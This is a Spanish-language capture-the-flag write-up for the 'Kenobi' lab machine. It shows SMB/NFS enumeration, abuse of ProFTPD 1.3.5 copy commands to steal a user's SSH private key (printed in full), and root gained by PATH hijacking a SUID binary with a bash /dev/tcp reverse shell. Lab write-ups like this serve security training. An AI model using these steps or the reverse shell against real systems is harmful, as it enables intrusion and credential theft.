Kenobi - Writeup

RECONOCIMIENTO - EXPLOTACION

Comenzamos con un escaneo con nmap:

```
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100005  1,2,3      37023/tcp6  mountd
|   100005  1,2,3      51630/udp   mountd
|   100005  1,2,3      52987/tcp   mountd
|   100005  1,2,3      56284/udp6  mountd
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     2-3 (RPC #100227)
37223/tcp open  mountd      1-3 (RPC #100005)
45103/tcp open  mountd      1-3 (RPC #100005)
45661/tcp open  nlockmgr    1-4 (RPC #100021)
52987/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
```

Con enum4linux podemos ver algunas carpetas compartidas por SMB a traves de una null session:

```
=========================( Share Enumeration on 10.10.57.26 )=========================


        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
nnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            KENOBI

Attempting to map shares on 10.10.57.26

.10.57.26/print$    Mapping: DENIED Listing: N/A Writing: N/A
.10.57.26/anonymous Mapping: OK Listing: OK Writing: N/A
```

Y encontramos el dominio llamado kenobi:

```
[+] Found domain(s):

        [+] KENOBI
        [+] Builtin
```

Tambien encontramos al usuario kenobi

```
 [+] Enumerating users using SID S-1-22-1 and logon username '', password ''

 S-1-22-1-1000 Unix User\kenobi (Local User)

 [+] Enumerating users using SID S-1-5-21-55073928-793008161-2116500600 and logon username '', password ''

 S-1-5-21-55073928-793008161-2116500600-501 KENOBI\nobody (Local User)
 S-1-5-21-55073928-793008161-2116500600-513 KENOBI\None (Domain Group)
```

Enumerando el puerto 111 de rpc-bind podemos ver las carpetas que se estan compartiendo por nfs, en este caso /var:

```
PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *
```

Tambien podemos enumerar la version del protocolo ftp:

```
└─$ nc 10.10.57.26 21
220 ProFTPD 1.3.5 Server
```

Esta version es vulnerable al siguiente exploit, puedo copiar un archivo y pegarlo en otra ruta de la maquina victima. Como no tengo permisos para /var/www/html lo voy a hacer en /var/tmp:

```
└─$ nc 10.10.57.26 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.57.26]
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/tmp/id_rsa
250 Copy successful
```

Ahora que hemos pasado la id_rsa de kenobi a la carpeta compartida por nfs var, podemos acceder a ella montando el recurso en mi maquina en /mnt:

```
┌──(kali㉿kali)-[/mnt]
└─$ sudo mount 10.10.57.26:/var /mnt
```

Si me voy al directorio tmp puedo ver el contenido de la id_rsa que me he pasado:

```
└─$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4PeD0e0522UEj7xlrLmN68R6iSG3HMK/aTI812CTtzM9gnXs
qpweZL+GJBB59bSG3RTPtirC3M9YNTDsuTvxw9Y/+NuUGJIq5laQZS5e2RaqI1nv
U7fXEQlJrrlWfCy9VDTlgB/KRxKerqc42aU+/BrSyYqImpN6AgoNm/s/753DEPJt
dwsr45KFJOhtaIPA4EoZAq8pKovdSFteeUHikosUQzgqvSCv1RH8ZYBTwslxSorW
y3fXs5GwjitvRnQEVTO/GZomGV8UhjrT3TKbPhiwOy5YA484Lp3ES0uxKJEnKdSt
otHFT4i1hXq6T0CvYoaEpL7zCq7udl7KcZ0zfwIDAQABAoIBAEDl5nc28kviVnCI
ruQnG1P6eEb7HPIFFGbqgTa4u6RL+eCa2E1XgEUcIzxgLG6/R3CbwlgQ+entPssJ
dCDztAkE06uc3JpCAHI2Yq1ttRr3ONm95hbGoBpgDYuEF/j2hx+1qsdNZHMgYfqM
bxAKZaMgsdJGTqYZCUdxUv++eXFMDTTw/h2SCAuPE2Nb1f1537w/UQbB5HwZfVry
tRHknh1hfcjh4ZD5×5Bta/THjjsZo1kb/UuX41TKDFE/6+Eq+G9AvWNC2LJ6My36
YfeRs89A1Pc2XD08LoglPxzR7Hox36VOGD+95STWsBViMlk2lJ5IzU9XVIt3EnCl
bUI7DNECgYEA8ZymxvRV7yvDHHLjw5Vj/puVIQnKtadmE9H9UtfGV8gI/NddE66e
t8uIhiydcxE/u8DZd+mPt1RMU9GeUT5WxZ8MpO0UPVPIRiSBHnyu+0tolZSLqVul
rwT/nMDCJGQNaSOb2kq+Y3DJBHhlOeTsxAi2YEwrK9hPFQ5btlQichMCgYEA7l0c
dd1mwrjZ51lWWXvQzOH0PZH/diqXiTgwD6F1sUYPAc4qZ79blloeIhrVIj+isvtq
mgG2GD0TWueNnddGafwIp3USIxZOcw+e5hHmxy0KHpqstbPZc99IUQ5UBQHZYCvl
SR+ANdNuWpRTD6gWeVqNVni9wXjKhiKM17p3RmUCgYEAp6dwAvZg+wl+5irC6WCs
dmw3WymUQ+DY8D/ybJ3Vv+vKcMhwicvNzvOo1JH433PEqd/0B0VGuIwCOtdl6DI9
u/vVpkvsk3Gjsyh5gFI8iZuWAtWE5Av4OC5bwMXw8ZeLxr0y1JKw8ge9NSDl/Pph
YNY61y+DdXUvywifkzFmhYkCgYB6TeZbh9XBVg3gyhMnaQNzDQFAUlhM7n/Alcb7
TjJQWo06tOlHQIWi+Ox7PV9c6l/2DFDfYr9nYnc67pLYiWwE16AtJEHBJSHtofc7
P7Y1PqPxnhW+SeDqtoepp3tu8kryMLO+OF6Vv73g1jhkUS/u5oqc8ukSi4MHHlU8
H94xjQKBgExhzreYXCjK9FswXhUU9avijJkoAsSbIybRzq1YnX0gSewY/SB2xPjF
S40wzYviRHr/h0TOOzXzX8VMAQx5XnhZ5C/WMhb0cMErK8z+jvDavEpkMUlR+dWf
Py/CLlDCU4e+49XBAPKEmY4DuN+J2Em/tCz7dzfCNS/mpsSEn0jo
-----END RSA PRIVATE KEY-----
```

Y conseguimos acceder como el usuario kenobi:

```
└─$ ssh kenobi@10.10.57.26 -i id_rsa
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$
```

ESCALADA DE PRIVILEGIOS

Vamos a ver los permisos SUID del usuario kenobi:

```
kenobi@kenobi:/tmp$ find / -perm /4000 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

Tenemos permisos sobre un archivo ejecutable llamado "menu". Vamos a ver lo que hace:

```
kenobi@kenobi:/usr/bin$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:9c:3a:2c:ef:67
          inet addr:10.10.57.26  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::9c:3aff:fe2c:ef67/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:705703 errors:0 dropped:0 overruns:0 frame:0
          TX packets:662961 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:65608166 (65.6 MB)  TX bytes:160464891 (160.4 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:214 errors:0 dropped:0 overruns:0 frame:0
          TX packets:214 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:15541 (15.5 KB)  TX bytes:15541 (15.5 KB)
```

Seguramente por detras este utilizando el comando ipconfig, vamos a comprobarlo analizando el binario con strings:

```
ifconfig
 Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7594
__do_global_dtors_aux_fini_array_entry
```

Como podemos ver, esta ejecutando el comando ifconfig de forma relativa, por lo que podemos ejecutar el path hijacking para escalar los privilegios. Esto quiere decir que nos tenemos que ir a una ruta donde tengamos permisos de escritura por ejemplo /tmp. Ahi tenemos que crear un archivo llamado ifconfig, insertarle una reverse shell y darle permisos de ejecucion:

```
kenobi@kenobi:/tmp$ cat ifconfig
#!/bin/bash

bash -c "sh -i >& /dev/tcp/10.21.39.53/1234 0>&1"
```

Lo que tenemos que hacer ahora es incluir la carpeta /tmp en la variable path y ponerla en el primer lugar para que cuando se ejecute el comando ifconfig realmente se este ejecutando la reverse shell que se encuentra en el directorio /tmp.

```
export PATH=/tmp:$PATH
```

```
kenobi@kenobi:/tmp$ echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/l
in
```

Nos ponemos a la escucha con netcat y cuando ejecutemos el binario "menu" y le demos al "3" para que se ejecute el comando ifconfig pero realmente se ejecuta el archivo "ifconfig" que hemos creado en /tmp otorganodos una reverse shell:

```
^Ckenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
```

```
zsh: corrupt history file /home/kali/.zsh_history
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.21.39.53] from (UNKNOWN) [10.10.57.26] 41410
# whoami
root
#
```